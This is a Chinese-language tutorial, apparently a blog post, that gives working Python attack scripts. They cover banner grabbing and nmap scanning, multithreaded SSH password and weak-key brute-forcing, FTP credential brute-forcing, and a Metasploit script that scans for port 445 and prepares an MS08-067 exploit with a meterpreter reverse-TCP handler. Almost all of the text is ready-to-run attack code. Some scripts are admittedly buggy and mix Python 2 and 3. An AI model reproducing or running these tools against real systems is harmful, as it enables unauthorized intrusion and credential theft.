使用 Python 编写密码爆破工具

TCP连接扫描、抓取应用的Banner

#coding=utf-8
from socket import *
from threading import *

#定义一个信号量
screenLock = Semaphore(value=1)

def ScanBanner(addr,port):
try:
conn = socket(AF_INET,SOCK_STREAM)
conn.connect((addr,port))
conn.send(bytes("hello lyshark\r\n",encoding="utf-8"))
res = conn.recv(200)
# 加锁
screenLock.acquire()
print("[+] 主机: {} Banner: {}".format(addr,res))
except Exception:
# 加锁
screenLock.acquire()
print("[-] 主机: {} 不存在或已经关闭.".format(addr))
pass
finally:
# 执行释放锁的操作
screenLock.release()
conn.close()

setdefaulttimeout(1)
for i in range(0,25):
a = "192.168.1.{}".format(i)
t = Thread(target=ScanBanner,args=(a,80))
t.start()

使用nmap端口扫描代码

需要 pip install python-nmap

#coding=utf-8

# >>> nm = nmap.PortScanner()

# >>> nm.scan("192.168.1.1-20","21,22,80,45,135","-sV")

# >> nm.scan(hosts="192.168.1.20",arguments="-n -sP -PE -PA21,22,80

import nmap
import optparse

def nmapScan(tgtHost,tgtPort):
#创建一个PortScanner()类对象
nmScan = nmap.PortScanner()

#调用PortScanner类的scan()函数，将目标和端口作为参数输入并进行nmap扫描
nmScan.scan(tgtHost,tgtPort)

#输出扫描结果中的状态信息
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state

def main():
parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')
(options,args)=parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPorts).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost,tgtPort)

if __name__ == '__main__':
main()

用Pexpect与SSH交互

需要先下载Pexpect：pip install pexpect  该工具只能在linux系统中使用，且可以登录ftp等，不局限于ssh

#coding=utf-8
import pexpect
from threading import *

def SSHConnect(Host,User,Password,Port):
PROMPT = ["# ",">>> ","> ","\$ "]
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port
try:
# 为ssh命令生成一个spawn类的对象
child = pexpect.spawn(connStr,timeout=1)
# 期望有ssh_newkey字符、提示输入密码的字符出现，否则超时
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
if ret == 0:
return 0
if ret == 1:
# 发送yes回应ssh_newkey并期望提示输入密码的字符出现
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
if ret == 0:
return 0
# 发送密码
child.sendline(Password)
child.expect(PROMPT)
return 1
except Exception:
pass
return 0
child = SSHConnect("192.168.1.20","root","123","22")
print(child)

pexpect 登录执行命令

#-*- coding:UTF-8 -*-
import pexpect


def ssh(user,host,password,port,command):
child = pexpect.spawn('ssh -l %s %s -p %s %s' %(user,host,port,command))
# 0 ： 连接超时
# 1 ：ssh有时候提示你是否确认连接
# 2 ：提示输入密码
# 3 ：匹配到#号，表示命令已经执行完毕
ret = child.expect([pexpect.TIMEOUT, 'Are you sure you want to continue connecting','[Pp]assword:',r"([^-]>|#)"])
if ret == 0: # 连接超时
return 0
elif ret == 1: # SSH提示你是否确认连接
child.sendline ('yes') # 我们输入yes
child.expect ('password: ')# 输入yes后应该提示输入密码,我们再次期待 password
ret = child.expect([pexpect.TIMEOUT, 'password: '])
if ret == 0: # 连接超时
return 0
ret = child.sendline(password)
if ret == 5:
child.expect(pexpect.EOF)
return child.before
return 0


if __name__ =='__main__':
try:
host='192.168.1.20'
user="root"
password = '1233'
command="ifconfig"
child = ssh(user,host,password,"22",command)
print(child)
except Exception as e:
print (e)

用pexpect 暴力破解SSH密码

#coding=utf-8
import pexpect
import os,sys
import threading
from optparse import OptionParser

def SSHConnect(Host,User,Password,Port):
PROMPT = ["# ",">>> ","> ","\$ "]
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port
try:
# 为ssh命令生成一个spawn类的对象
child = pexpect.spawn(connStr , timeout=1)
# 查询是否存在 ssh_newkey 里面的字符串、提示输入密码的字符出现,否则超时
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
if ret == 0:
return 0
if ret == 1:
# 发送yes回应ssh_newkey并等待,提示输入密码的字符出现
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
if ret == 0:
return 0
# 发送密码
child.sendline(Password)
child.expect(PROMPT)
return 1
except Exception:
pass
return 0

def ThreadBlast(Host,User,Password,Port,semaphore):
# 加锁
semaphore.acquire()
RetCode = SSHConnect(Host,User,Password,Port)
if RetCode == 1:
print("[+] --> 主机: {} 状态码: {} -------> 密码: {}".format(Host,RetCode,Password))
else:
# 释放锁
print("[-] --> 主机: {} 状态码: {}".format(Host,RetCode))
semaphore.release()

if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-H","--host",dest="host",help="set host 192.168.1.1")
parser.add_option("-u","--user",dest="user",help="set user root")
parser.add_option("-p","--port",dest="port",help="set port 22")
parser.add_option("-f","--file",dest="file",help="set file wordlist.log")
(options,args) = parser.parse_args()
if options.host and options.user and options.port and options.file:
# 设置线程锁,每次执行5个线程
semaphore = threading.Semaphore(5)
fp = open(options.file,"r")
PassList = fp.readlines()
for item in PassList:
t = threading.Thread(target=ThreadBlast,args=(options.host,options.user,item,options.port,semaphore))
t.start()
else:
parser.print_help()

 

关于有时，密码失败已经解决了，如下图，这里我就不贴代码了，上面代码有点问题的，自己改改吧。

 

用pxssh 暴力破解SSH密码

# -*- coding: utf-8 -*-
import optparse
from pexpect import pxssh
import time
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+] Password Found " + password)
Found = True
except Exception as e:
if "read_nonblocking" in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif "synchronize with original prompt" in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser("usage%prog" + "-H <target host> -u <user> -F <password list>")
parser.add_option("-H", dest="tgtHost", type="string", help="specify target host")
parser.add_option("-u", dest="user", type="string", help="specify the user")
parser.add_option("-F", dest="passwordFile", type="string", help="specify password file")
options, args = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwordFile
user = options.user
if host is None or passwdFile is None or user is None:
print(parser.usage)
exit(0)
fn = open(passwdFile, "r")
for line in fn.readlines():
if Found:
# 如果发现了密码就退出
print("[*] Exiting: Password Found")
exit(0)
if Fails > 5:
print("[!] Too Many Socket Timeouts")
exit(0)
connection_lock.acquire()
password = line.strip("\r").strip("\n")
print("[-] Testing: " + str(password))
t = Thread(target=connect, args=(host, user, password, True))
t.start()

if __name__ == "__main__":
main()

利用SSH中的弱密钥

使用密钥登录ssh时，格式为：ssh user@host -i keyfile -o PasswordAuthentication=no

#!/usr/bin/python
#coding=utf-8
import pexpect
import optparse
import os
from threading import *

maxConnections = 5
#定义一个有界信号量BoundedSemaphore，在调用release()函数时会检查增加的计数是否超过上限
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

def connect(host,user,keyfile,release):

global Stop
global Fails

try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ])
#匹配到ssh_newkey
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
#匹配到conn_closed
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
#匹配到提示符'$','#',
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
#释放锁
connection_lock.release()

def main():
parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>')
parser.add_option('-H',dest='host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='target username')
parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys')
(options,args) = parser.parse_args()

if (options.host == None) | (options.username == None) | (options.passDir == None):
print parser.usage
exit(0)

host = options.host
username = options.username
passDir = options.passDir

#os.listdir()返回指定目录下的所有文件和目录名
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
#加锁
connection_lock.acquire()

#连接目录与文件名或目录
fullpath = os.path.join(passDir,filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect,args=(username,host,fullpath,True))
child = t.start()

if __name__ =='__main__':
main()

使用Ftplib暴力破解FTP用户口令

通过ftplib模块，结合读取含有密码的文件来实现FTP用户口令的破解

#!/usr/bin/python
#coding=utf-8
import ftplib

def bruteLogin(hostname,passwdFile):
pF = open(passwdFile,'r')
for line in pF.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + username + '/' + password
try:
ftp = ftplib.FTP(hostname)
ftp.login(username,password)
print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
ftp.quit()
return (username,password)
except Exception, e:
pass
print '\n[-] Could not brubrute force FTP credentials.'
return (None,None)

host = '10.10.10.128'
passwdFile = 'ftpBL.txt'
bruteLogin(host,passwdFile)

在FTP服务器上搜索网页

有了FTP服务器的登录口令之后，可以进行测试该服务器是否提供Web服务，其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名，并把找到的所有默认的网页都添加到retList数组中

#!/usr/bin/python
#coding=utf-8
import ftplib

def returnDefault(ftp):
try:
#nlst()方法获取目录下的文件
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return

retList = []
for filename in dirList:
#lower()方法将文件名都转换为小写的形式
fn = filename.lower()
if '.php' in fn or '.asp' in fn or '.htm' in fn:
print '[+] Found default page: '+filename
retList.append(filename)
return retList

host = '10.10.10.130'
username = 'ftpuser'
password = 'ftppassword'
ftp = ftplib.FTP(host)
ftp.login(username,password)
returnDefault(ftp)

编写Python脚本与Metasploit交互

在findTgts()函数中实现对整个网段的主机445端口的扫描，setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能

#!/usr/bin/python
#coding=utf-8

import nmap

def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet,'445')
tgtHosts = []
for host in nmScan.all_hosts():
#若目标主机存在TCP的445端口
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
#并且445端口是开启的
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts

def setupHandler(configFile,lhost,lport):
configFile.write('use exploit/multi/handler\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')

#设置全局变量DisablePayloadHandler，让已经新建一个监听器之后，后面的所有的主机不会重复新建监听器
#其中setg为设置全局参数
configFile.write('setg DisablePayloadHandler 1\n')

def confickerExploit(configFile,tgtHost,lhost,lport):
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')

#-j参数表示攻击在后台进行，-z参数表示攻击完成后不与会话进行交互
configFile.write('exploit -j -z\n')

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